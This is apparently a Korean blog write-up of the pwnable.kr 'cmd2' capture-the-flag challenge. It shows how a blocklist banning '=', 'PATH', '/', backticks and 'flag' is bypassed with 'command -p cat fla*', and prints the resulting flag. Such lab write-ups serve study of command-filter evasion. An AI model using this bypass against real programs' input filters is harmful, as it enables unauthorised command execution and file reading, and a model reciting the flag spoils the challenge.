gunnew의 잡설

pwnable.kr 15. cmd2 본문

System Security

pwnable.kr 15. cmd2

higunnew 2020. 2. 19. 14:18
반응형

 이번 문제도 결국 쉘 스크립트 명령어를 얼마나 잘 아느냐를 묻는 문제였다. 코드를 먼저 살펴보자.

 

 먼저, delete_env()를 호출하여 이전에 설정된 환경 변수들을 모두 지운다. 그리고 filter() 함수를 통해서 실행 시 두 번째 인자로 =, PATH, export, /, `, flag를 사용할 수 없게 한다. 이전에 했던 python -c를 통한 payload 공격이라든가, 두 번째 인자로 새로이 환경 변수를 추가하여 공격하는 것을 방지한 모양이다. 나도 어떻게 할지 몰라 당황하던 중 검색을 통해 command라는 명령어를 알게 되었다. help command를 통해 살펴보자.

 

cmd2@pwnable:~$ help command
command: command [-pVv] command [arg ...]
    Execute a simple command or display information about commands.
    
    Runs COMMAND with ARGS suppressing  shell function lookup, or display
    information about the specified COMMANDs.  Can be used to invoke commands
    on disk when a function with the same name exists.
    
    Options:
      -p	use a default value for PATH that is guaranteed to find all of
    	the standard utilities
      -v	print a description of COMMAND similar to the `type' builtin
      -V	print a more verbose description of each COMMAND
    
    Exit Status:
    Returns exit status of COMMAND, or failure if COMMAND is not found.

-p 옵션을 사용하면 기본적으로 쓸 수 있는 환경 변수 PATH는 사용할 수 있나보다. 그럼 끝났다.

cmd1에서 했던 대로 *을 사용하는데 기본 환경 변수 PATH를 사용할 수 있으므로 ./cmd2 'command -p cat fla*'를 하면 끝난다.

 

cmd2@pwnable:~$ ./cmd2 'command -p cat fla*'
command -p cat fla*
FuN_w1th_5h3ll_v4riabl3s_haha

반응형

'System Security' 카테고리의 다른 글

pwnable.kr 17. fsb(Format String Bug)  (0) 2020.03.07
pwnable.kr 16. uaf (Using After Free)  (0) 2020.02.19
pwnable.kr 14. cmd1 (Wildcard)  (0) 2020.02.17
pwnable.kr 13. lotto  (0) 2020.02.17
pwnable.kr 12. blackjack  (0) 2020.02.17
Comments